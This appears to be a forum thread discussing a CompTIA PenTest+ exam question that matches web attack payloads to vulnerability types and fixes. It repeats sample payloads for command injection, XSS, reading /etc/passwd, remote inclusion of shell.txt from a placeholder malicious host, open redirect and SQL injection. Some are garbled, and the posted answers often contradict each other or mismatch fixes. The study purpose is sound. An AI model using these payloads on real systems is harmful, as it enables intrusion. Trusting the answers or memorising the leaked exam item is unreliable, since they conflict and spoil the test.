Exam PT0-002 topic 1 question 63 discussion

whoami — cmd inj — input san (),{} Search Bob — Ref XSS — input san <> Logfile passwd00 — Local file inc. — input san sandbox Innertab — DOM XSS — input san <> Site=exaping — cmd inj — input san sandbox Redir — URL Redirect — prevent ext calls Delay — Stacked — param queries Union — Union — param queries +convert — Error — param queries Logfile…shell.txt — remote file inclusion — input san sandbox

Question 7 https://www.examtopics.com/exams/comptia/pt1-002/view/

lookup=$(whoami) Match: Command Injection search-Bob"%3e%3cimg%20src3da%20onerror%3dalert(1)%3e Match: DOM-based Cross Site Scripting (XSS) logfile=%2fetc%2fpasswd%00 Match: Local File Inclusion (LFI) #inner-tab"><script>alert(1)</script> Match: Reflected Cross Site Scripting (XSS) site=www.exa 'ping%20-c%2010%20localhost 'mple.com Match: Command Injection (Attempt to execute ping command) redir=http:%2f%2fwww.malicious-site.com Match: URL Redirect item=widget'; wait for%20delay20' 00:00:20';-- Match: SQL Injection (Stacked) (Attempt to use wait for and delay) item=widget%20union%20select%20null, null, @@version; -- Match: SQL Injection (Union) item=widget' +convert (int, @@version) +' Match: SQL Injection (Error) logFile-http:%2f%2fww.malicious-site.com%2fshell.txt Match: Remote File Inclusion (RFI)

Hey people so I found this online and I believe these to be the right answers. Any thoughts? https://quizlet.com/566527441/that-one-question-flash-cards/

An answer with comments: https://www.evernote.com/shard/s8/sh/d6d72fe5-39a7-0fdd-7656-92529df14cd1/TaNnGhzwJ6NU8YRo5c-u-fYZDyZn4ld3KmejIGmWT6TgVrtPej-UBLOZAA

I think this is the correct Command Injection - input saniti $ . DOM XSS - Input Sanitization (<> ...) Local File Inclusion - sandbox req Reflected XSS - Input sanitization (<> ...) Command Injection - sandbox req URL redirect - prevent external calls Sql Injection Stacked - Parameterized Queries . SQLi union - paramtrized queries SQLi error - paramtrized queries Remote File Inclusion - sandbox

1. Command Injection - input saniti $ 2. Reflected XSS - Input sanitization (<> ...) 3. Local File Inclusion - sandbox req 4. DOM XSS - Input Sanitization (<> ...) 5. Command Injection - sandbox req 6. URL redirect - prevent external calls 7. Sql Injection Stacked - Parameterized Queries 8. SQLi union - paramtrized queries 9. SQLi error - paramtrized queries 10. Remote File Inclusion - sandbox

In command injection not Parameterized Queries Parameterized Queries just for SQL

The correct answer is 1= lookup=$ (whoami) Command Injection Input Sanitization ‘,:,$,{,}(,), 2=search=Bob"%3e%3cimg%20src3da%20onerror%3dalert(1)%3e Local file inclusion Input Sanitization ..,\,/,sandbox requests 3= logfile=%2fetc%2fpasswd%00 Remot file inclusion br> &nbsp; Input Sanitization ..,\,/,sandbox requests

this is a link that has an assessment from chatGPT about the payloads, vuln type and remediations enjoy: https://www.evernote.com/shard/s8/sh/c13cd49b-23b8-002d-88cc-2619e2b795e1/2a97bade0397f24deda20eb3f3a9a4ee

lookup=$ (whoami) | Command Injection | Parametrized queries search=Bob"%3e%3cimg%20src3da%20onerror%3dalert(1)%3e | DOM-based Cross Site Scripting | Input Sanitization ",',<,:,>,- logfile=%2fetc%2fpasswd%00 | Local File Inclusion | Input Sanitization ..,,/,sandbox requests #inner-tab"><script>alert(1)</script> | Reflected Cross Site Scripting | Input Sanitization ",',<,:,>,- site=www.exaping%20-c%2010%20localhostmple.com | Command Injection | Input Sanitization ‘,:,$,{,}(,) redir=http:%2f%2fwww.malicious-site.com | URL Redirect | Input Sanitization ‘,:,$,{,}(,) item=widget';waitfor%20delay20'00:00:20';-- | SQL Injection (Stacked) | Parametrized queries item=widget%20union%20select%20null,null,@@version;-- | SQL Injection (Union) | Parametrized queries item=widget'+convert(int,@@version)+' | SQL Injection (Error) | Parametrized queries logFile-http:%2f%2fww.malicious-site.com%2fshell.txt | Remote File Inclusion | Preventing external calls

100% Correct answer i manage this questions with answer

After alot of search the correct answer is

For anyone who wants to use as a question for example to chatGPT or anywhere else: VULNERABILITY TYPE Command Infection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect REMEDIATION Parametrized queries Preventing external calls Input Sanitization ..,\,/,sandbox requests Input Sanitization ‘,:,$,{,}(,), Input Sanitization ",',<,:,>,-, PAYLOADS lookup=$ (whoami) search=Bob"%3e%3cimg%20src3da%20onerror%3dalert(1)%3e logfile=%2fetc%2fpasswd%00 #inner-tab"><script>alert(1)</script> site=www.exa`ping%20-c%2010%20localhost`mple.com redir=http:%2f%2fwww.malicious-site.com item=widget';waitfor%20delay20'00:00:20';-- item=widget%20union%20select%20null,null,@@version;-- item=widget'+convert(int,@@version)+' logFile-http:%2f%2fww.malicious-site.com%2fshell.txt

The discussion can mess you up.. This is what I'm going with look$ - see CI $ BOB reflection >< logfile-fetch - LOCAL fi\e shell.txt - Remote fi\e script script DoubleX>< exam\\\\\ple CI union -p-union-q item-convert -p-error-q 20delay20 -p-stack-q redirect - URL redirect CALL

1. Dom XSS - input san. <,> https://portswigger.net/web-security/cross-site-scripting/dom-based 2. SQLi Stacked - Parameterized Queries 3. SQLi Union - Parameterized Queries 4. Reflected XSS - input san <,> https://portswigger.net/web-security/cross-site-scripting/reflected 5. SQLi Error - Parameterized Queries https://www.indusface.com/blog/types-of-sql-injection/#Error_Based_SQL_Injection 6. CMD Injection - Input San. /,\ Sandbox 7. URL Redirect - Prevent ext. calls 8. local file inclusion - Input san. /,\ Sandbox 9. CMD Injection - input san. [,],(,) 10. Remote File Inclusion - input san. /,\ Sandbox

This one is all messed up. Not sure what is what.